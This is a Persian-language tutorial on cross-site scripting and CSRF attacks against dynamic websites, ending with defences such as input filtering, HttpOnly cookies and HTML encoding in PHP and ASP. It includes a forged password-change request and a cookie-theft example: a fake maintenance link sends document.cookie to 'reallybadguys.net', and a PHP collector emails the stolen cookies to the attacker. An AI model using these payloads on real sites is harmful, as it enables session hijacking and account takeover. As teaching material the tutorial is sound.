در حملات تزریق کد XSS یا CSS صفحات پويای وب مورد حمله قرار می گیرند چرا که وب سايتهايي که تنها داراي صفحات ايستا هستند "فقط خواندني"ميباشند و اجازه هيچ فعل و انفعالي را به کاربر نميدهند. از اين رو هکر فقط امکان مشاهده صفحات را دارد بدون اينکه بتواند خرابي در آنها ايجاد کند. از آنجائي که صفحات پويا امکان ايجاد تغييرات را براي کاربر فراهم ميکنند، بنابراين يک هکر ميتواند محتواي پر خطري را در وب سايت جاي دهد، بدون آنکه برنامه تحت وب توانائي تشخيص اين اطلاعات را از اطلاعات بي ضرر و يا واقعي داشته باشد.
نکتهايي که در آسيب پذيري XSS ها وجود دارد، اين است که يک هکر ميتواند سرور اصلي را مجبور به ارسال صفحه وب با محتواي مخرب براي يک کاربر بيگناه کند و اطلاعات ثبت شده توسط کاربر را به سرور ديگري ارسال کند. در واقع در این حمله خود سایت یا برنامه کاربردی آسیب نمی بیند و فقط به عنوان ابزاری در دست هکر مورد استفاده قرار می گیرد تا وی بتواند به کاربرانی که از این سایت یا برنامه کاربردی استفاده می کنند؛ آسیب برساند.
- روشهای تزریق کد
حمله تزریق کد می تواند به روش های مختلفی وارد عمل شود، بر این اساس تاثیرات مخرب متفاوتی خواهد داشت.
روش های این حمله را می توان به چند دسته تقسیم کرد:
- CSRF
بسیاری از سایت های تجارت الکترونیکی بعضی از مشخصات کامپیوتر کاربر را برای اعتماد به او نگهداری می کنند، مثلا اطلاعات IP او یا اطلاعات دیسک سخت یا در اکثر مواقع اطلاعات کوکی فرد. تزریق کد به کاربران مورد اطمینان یک سایت حمله میکند. در حمله CSRF اخلاگر به کامپیوتر فرد مورد اطمینان، حمله و از طریق آن درخواست هایی را به سایتهای تجارت الکترونیکی و سایتهای دیگری که کاربر در آن حق دسترسی دارد، میفرستد. این حمله می تواند به یک شبکه اینترانت که کامپیوتر فرد عضو آن است صورت گیرد و از این طریق از فایروال آن عبور کند. این دسترسی میتواند با استفاده از IP کاربر یا با استفاده از کوکی او صورت گیرد.
لزوم این حمله آشنایی مهاجم با توابعی است که برای ورود یا تغییر رمز کاربری استفاده میشود. برای مثال فرض کنید برنامه نویس از فرمی مشابه آنچه در ادامه آمده است برای تعویض رمز عبور کاربر استفاده کند:
<form action="http://www.hsc.fr/changePassword" name="f" method="POST">
<input type="hidden" name="value" value="newpass">
</form>
حال اخلالگر کافیست کاربر را به صفحه ای که اجرا کننده کدی مشابه کد زیر است بفرستد تا کاربر بدون آنکه متوجه شود رمز خود را تغییر دهد یا به اصطلاح رمز دلخواه اخلالگر را بر روی سرویسی که استفاده می کند قرار دهد :
POST http://www.hsc.fr/changePassword HTTP/1.1
[...]
value=newpass
حال اخلالگر کافیست نام کاربری کاربر و رمزی را که روی آن قرار داده است در سایت سرویس دهنده وارد کند تا بتواند به تمامی امکاناتی که کاربر واقعی از آنها بهره می برد دسترسی داشته باشد. تمام سرورهای پست الکترونیک و برنامه های کاربردی که تمامی تغییرات را بدون رهگیری انجام می دهند، در برابر این حمله آسیب پذیرند.
- تزریق کد به عنوان یک کرم
در این حالت اخلالگر در یک صفحه آسیب پذیر سرویس دهنده، کدهای مخربی را که به مانند کرم عمل می کند قرار می دهد. زمانی که کاربران به این صفحه وارد شوند کدها اجرا شده و کرم می تواند در پشت زمینه مرورگر فرد، بدون اینکه در یک صفحه باز قابل مشاهده باشد، منتشر شود. یاهو و myspace به این صورت هک شدند. نوع دیگر به اینصورت است که بدون اینکه کاربر آگاه شود میتواند درخواستهایی را به صفحات دیگری بدهد به این تکنیک CSRF گویند که توضیح داده شد.
کرم یامانر یک اسپم بود که به سرویس ایمیل یاهو حمله کرد. زمانی که کاربران آن اسپم را باز میکردند این کرم کپی خود را بیرون از مرورگر فرد به تمام لیست تماس های او میفرستاد.
- دسترسی به فایل های محلی
اخلالگر میتواند با قراردادن کدهای مخرب در صفحه، از کدهایی که داخل مرورگر فرد اجرا میشود برای فریب فایل های محلی استفاده کند. این عمل به هکرها اجازه دسترسی به منابع محلی را میدهد. بنابراین هکر میتواند فایروال یا روتر را دوباره برنامه نویسی کند تا به او اجازه دسترسی خارجی به سرویسهای داخلی را بدهند. این کار فرصتی را به مهاجم برای حملات بسیار خطرناک فراهم میکند. برای مثال هکر میتواند با استفاده از مرورگر فرد، درخواستی را به یک سرور داخلی یک شرکت بدهد. این عمل به مهاجم اجازه دسترسی به فایلهای حساس شرکت حتی اگر توسط فایروال محافظت شده باشد را میدهد.
- عمل به عنوان کاربر
در این حمله اخلالگر با تزریق کدهای مخرب میتواند کوکی قربانی را به سرور یا ایمیل خود ارسال کند، حال اخلالگر میتواند کوکی قربانی را به جای کوکی خود قرار داده، خود را یه جای قربانی جا بزند. بعنوان مثال با این کار میتواند به حساب بانکی او دسترسی داشته و تراکنشی را انجام دهد.
برای مثال فرض کنید اخلالگر بتواند لینک زیر را در درون صفحه ای در یک سایت تجاری قرار دهد.
<h1>Sorry, we're carrying out maintenance right now.</h1>
// برانگیختن کاربر
<a href="#" onclick="javascript:window.location =
// ایجاد لینک
'http://reallybadguys.net/cookies.php?cookie=' + document.cookie;">
// صفحه مورد نظر اخلاگر
Click here to continue. </a>
// نمایش پیامی قابل قبول و بستن لینک
حالا اخلالگر در سایت خود و صفحه ای که در لینک قرار داده است این کدها را قرار می دهد:
<?php
//PHPباز کردن تگ
$cookie = $_GET['cookie'];
// دریافت مقادیر ارسال شده
$uri = $_SERVER['HTTP_REFERER'];
// دریافت صفحه ای که تقاضا از آن آمده است
mail( 'gotcha@reallybadguys.net', 'We got another one!',
"Go to $uri and present cookie $cookie." );
// ارسال اطلاعات به ایمیل مشخص شده
header( 'Location: '.$uri );
// برگرداندن کاربر به صفحه ی قبلی
?>
//PHP بستن تگ
حال کاربر لینک بالا را در صفحه ی سایتی که عضو آن است می بیند! کاربر فکر می کند حتما مشکلی پیش آمده است برای همین به توصیه سایت یعنی کلیک بر روی لینک عمل می کند. با این کار صفحه ی cookies.php با مقادیر کوکی کاربر اجرا می شود و پس از آنکه مقادیر کوکی به ایمیل 'gotcha@reallybadguys.net' فرستاده شد، کاربر به همان صفحه ی قبلی برگردانده می شود. کاربر فکر می کند مشکلی در لینک وجود داشته است، در حالی که با یک رفت و برگشت ساده اطلاعات کوکی اش به سرقت رفته است. حال کافیست اخلالگر این مقادیر کوکی را در مرورگر خود بارگذاری کند و خود را به جای کاربر واقعی قرار دهد!
- راه های مقابله با تزریق کد
به منظور جلوگیری از حملات تزریق کد به توسعه دهندگان توصیه می شود موارد زیر را در پیاده سازی و توسعه برنامه های کاربردی وب در نظر داشته باشند.
الف: فیلترکردن ورودی ها:
کنترل و فیلتر ورودیها یکی از مهم ترین کارهایی است که اگر به درستی انجام شود می تواند نقشی اساسی در جلوگیری از حملات تزریق کد داشته باشد. جلوگیری ازوارد کردن تگهای HTML یا فقط اجازه واردکردن برخی از تگ های HTML راهبسیار مناسبی برای جلوگیری از این حمله خواهد بود.
ب: امن کردن کوکیها:
علاوه بر روش قبل، امن کردن کوکیها کاری است که حتی درصورت وجود این حمله میتواند از سرقت رفتن برخی اطلاعات مربوط به ورود بهسایت که معمولا در کوکیها یا جلسات (session) ذخیره میشوند، جلوگیریکند. قابلیتی در مرورگرهای جدید گنجانده شده است که با کمک آن میتوان برخیاز کوکیهای مهم را به صورتخاص در کامپیوتر کاربر ذخیره کرد تا کوکیها از طریق جاوا اسکریپت قابل دسترس نباشند ولذا با این قابلیت، سرقت کوکیها از این طریق دیگر امکانپذیر نخواهد بود.
ج: غیرفعال کردن جاوا اسکریپت:
با وجود Web2 و AJAX همچنان سایتهایی موجودهستند که از جاوا اسکریپت استفاده نمیکنند. همچنین وبسایتها برایجلوگیری از به سرقت رفتن کوکیها میتوانند به طور کل جاوا اسکریپت راغیرفعال کرده که در این صورت دیگر از این طریق امکان سرقت کوکیها وجودنخواهد داشت.
در بین روشهایی که گفته شد تنها روش اول توصیه میشود و در روشهای دیگر این مشکل حل نمیشود، بلکه امنیت شخصی کمی بهتر میشود.
جلوگیری با روش اول در زبانهای برنامهنویسی مختلف:
در زبان PHP برای جلوگیری از ورود هر گونه تگ HTML میتوان از تابع htmlentities استفاده کرد. این تابع تمام دادههای ورودی را طوری تغییرمیدهد که در صورت وجود تگهای HTML در این دادهها فقط به عنوان کاراکترشناخته شده و اجرا نشوند.
<?php
$name = htmlentities($_POST['name']);
// تابع یاد شده داده ای را که از طریق پست وارد صفحه شده فیلتر می نمایید
echo $name;
?>
تابع strip_tags نیز در PHP به این منظور است که تمام تگهای HTML را ازداده ورودی حذف کند. البته این قابلیت را نیز دارد که تگهایی را کهبرنامهنویس برای آن تعریف میکند را به عنوان ورودی قبول کند.
<?php
$text = strip_tags($_POST[<text>],<a><b><i><u><p>);
// فقط به تگهای نوشته شده اجازه ی عبور می دهد
echo $text;
?>
در زبان ASP نیز میتوان از <asp:Literal> و HtmlEncode استفاده کرد:
<%@ Page Language=”C#” AutoEventWireup=”true”%>
<html>
<asp:Literal ID=”Literal1” runat=”server”></asp:Literal>
</html>
<script runat=”server”>
Literal1.Text = Server.HtmlEncode(Text1.Text);
</script>
توجه داشته باشید که توابع گفته شده در بالا تنها یک نمونه هستند و طبیعتا توابع دیگری نیز برای این کار وجود دارد.